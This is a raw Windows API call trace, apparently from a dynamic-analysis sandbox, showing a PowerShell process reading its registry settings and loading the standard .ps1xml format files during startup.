[0061.689] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d1c0 | out: lpFileInformation=0x27d1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0061.689] SetErrorMode (uMode=0x1) returned 0x1 [0061.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0061.690] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d2a8 | out: phkResult=0x27d2a8*=0x330) returned 0x0 [0061.690] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d22c, lpData=0x0, lpcbData=0x27d228*=0x0 | out: lpType=0x27d22c*=0x1, lpData=0x0, lpcbData=0x27d228*=0x56) returned 0x0 [0061.690] CoTaskMemAlloc (cb=0x5a) returned 0x1b7891c0 [0061.690] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d1fc, lpData=0x1b7891c0, lpcbData=0x27d1f8*=0x56 | out: lpType=0x27d1fc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27d1f8*=0x56) returned 0x0 [0061.690] CoTaskMemFree (pv=0x1b7891c0) [0061.690] RegCloseKey (hKey=0x330) returned 0x0 [0061.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0061.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0061.997] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.997] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.997] CoTaskMemFree (pv=0x18b130) [0062.005] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d448 | out: phkResult=0x27d448*=0x304) returned 0x0 [0062.005] RegQueryValueExW (in: hKey=0x304, lpValueName="path", lpReserved=0x0, lpType=0x27d45c, lpData=0x0, lpcbData=0x27d458*=0x0 | out: lpType=0x27d45c*=0x1, lpData=0x0, lpcbData=0x27d458*=0x74) returned 0x0 [0062.006] RegQueryValueExW (in: hKey=0x304, lpValueName="path", lpReserved=0x0, lpType=0x27d3cc, lpData=0x0, lpcbData=0x27d3c8*=0x0 | out: lpType=0x27d3cc*=0x1, lpData=0x0, lpcbData=0x27d3c8*=0x74) returned 0x0 [0062.006] CoTaskMemAlloc (cb=0x78) returned 0x124830 [0062.006] RegQueryValueExW (in: hKey=0x304, lpValueName="path", lpReserved=0x0, lpType=0x27d39c, lpData=0x124830, lpcbData=0x27d398*=0x74 | out: lpType=0x27d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x27d398*=0x74) returned 0x0 [0062.006] CoTaskMemFree (pv=0x124830) [0062.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0062.006] SetErrorMode (uMode=0x1) returned 0x1 [0062.006] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0062.006] SetErrorMode (uMode=0x1) returned 0x1 [0062.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.007] SetErrorMode (uMode=0x1) returned 0x1 [0062.007] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0062.007] SetErrorMode (uMode=0x1) returned 0x1 [0062.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.007] SetErrorMode (uMode=0x1) returned 0x1 [0062.008] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0062.008] SetErrorMode (uMode=0x1) returned 0x1 [0062.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.008] SetErrorMode (uMode=0x1) returned 0x1 [0062.008] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0062.009] SetErrorMode (uMode=0x1) returned 0x1 [0062.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.009] SetErrorMode (uMode=0x1) returned 0x1 [0062.009] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0062.009] SetErrorMode (uMode=0x1) returned 0x1 [0062.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.009] SetErrorMode (uMode=0x1) returned 0x1 [0062.009] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0062.009] SetErrorMode (uMode=0x1) returned 0x1 [0062.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.010] SetErrorMode (uMode=0x1) returned 0x1 [0062.010] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0062.010] SetErrorMode (uMode=0x1) returned 0x1 [0062.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0062.010] SetErrorMode (uMode=0x1) returned 0x1 [0062.010] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0062.010] SetErrorMode (uMode=0x1) returned 0x1 [0062.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0062.010] SetErrorMode (uMode=0x1) returned 0x1 [0062.010] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0062.011] SetErrorMode (uMode=0x1) returned 0x1 [0062.011] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0062.011] SetErrorMode (uMode=0x1) returned 0x1 [0062.011] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d320 | out: lpFileInformation=0x27d320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0062.011] SetErrorMode (uMode=0x1) returned 0x1 [0062.012] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.012] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.012] CoTaskMemFree (pv=0x18b130) [0062.017] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.018] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.018] CoTaskMemFree (pv=0x18b130) [0062.018] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.018] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.018] CoTaskMemFree (pv=0x18b130) [0062.020] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.020] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.020] CoTaskMemFree (pv=0x18b130) [0062.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27ca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.021] SetErrorMode (uMode=0x1) returned 0x1 [0062.021] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0062.021] GetFileType (hFile=0x308) returned 0x1 [0062.021] SetErrorMode (uMode=0x1) returned 0x1 [0062.021] GetFileType (hFile=0x308) returned 0x1 [0062.021] ReadFile (in: hFile=0x308, lpBuffer=0x32f9840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f9840*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.026] ReadFile (in: hFile=0x308, lpBuffer=0x32f9840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f9840*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.027] ReadFile (in: hFile=0x308, lpBuffer=0x32f9840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f9840*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.027] ReadFile (in: hFile=0x308, lpBuffer=0x32f9840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f9840*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.028] ReadFile (in: hFile=0x308, lpBuffer=0x32f9840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f9840*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.028] ReadFile (in: hFile=0x308, lpBuffer=0x32f9840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f9840*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.029] ReadFile (in: hFile=0x308, lpBuffer=0x32f9840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f9840*, lpNumberOfBytesRead=0x27cfb8*=0x9e2, lpOverlapped=0x0) returned 1 [0062.029] ReadFile (in: hFile=0x308, lpBuffer=0x32f8d8a, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f8d8a*, lpNumberOfBytesRead=0x27cfb8*=0x0, lpOverlapped=0x0) returned 1 [0062.029] ReadFile (in: hFile=0x308, lpBuffer=0x32f9840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x32f9840*, lpNumberOfBytesRead=0x27cfb8*=0x0, lpOverlapped=0x0) returned 1 [0062.029] CloseHandle (hObject=0x308) returned 1 [0062.029] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.029] SetErrorMode (uMode=0x1) returned 0x1 [0062.030] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27cf60 | out: lpFileInformation=0x27cf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0062.030] SetErrorMode (uMode=0x1) returned 0x1 [0062.030] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.030] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.030] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.030] CoTaskMemAlloc (cb=0x5a) returned 0x11cc70 [0062.030] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x11cc70, lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.031] CoTaskMemFree (pv=0x11cc70) [0062.031] RegCloseKey (hKey=0x308) returned 0x0 [0062.031] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.031] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.059] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x4e348ab2, Data2=0xacfa, Data3=0x4233, Data4=([0]=0xb4, [1]=0xab, [2]=0x30, [3]=0x9a, [4]=0x96, [5]=0x43, [6]=0xc0, [7]=0x4d))) returned 0x0 [0062.080] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6f635415, Data2=0x4eb2, Data3=0x4afc, Data4=([0]=0xb4, [1]=0x96, [2]=0xc2, [3]=0xc, [4]=0x42, [5]=0x60, [6]=0xdd, [7]=0xd2))) returned 0x0 [0062.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27ca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.084] SetErrorMode (uMode=0x1) returned 0x1 [0062.089] ReadFile (in: hFile=0x308, lpBuffer=0x33243a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x33243a8*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.090] ReadFile (in: hFile=0x308, lpBuffer=0x33243a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x33243a8*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.090] ReadFile (in: hFile=0x308, lpBuffer=0x33243a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x33243a8*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.090] ReadFile (in: hFile=0x308, lpBuffer=0x33243a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x33243a8*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.091] ReadFile (in: hFile=0x308, lpBuffer=0x33243a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x33243a8*, lpNumberOfBytesRead=0x27cfb8*=0xfb2, lpOverlapped=0x0) returned 1 [0062.091] ReadFile (in: hFile=0x308, lpBuffer=0x3323ac2, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3323ac2*, lpNumberOfBytesRead=0x27cfb8*=0x0, lpOverlapped=0x0) returned 1 [0062.091] ReadFile (in: hFile=0x308, lpBuffer=0x33243a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x33243a8*, lpNumberOfBytesRead=0x27cfb8*=0x0, lpOverlapped=0x0) returned 1 [0062.092] CloseHandle (hObject=0x308) returned 1 [0062.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.092] SetErrorMode (uMode=0x1) returned 0x1 [0062.092] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27cf60 | out: lpFileInformation=0x27cf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0062.092] SetErrorMode (uMode=0x1) returned 0x1 [0062.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.093] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.093] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.093] CoTaskMemAlloc (cb=0x5a) returned 0x1b7891c0 [0062.093] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x1b7891c0, 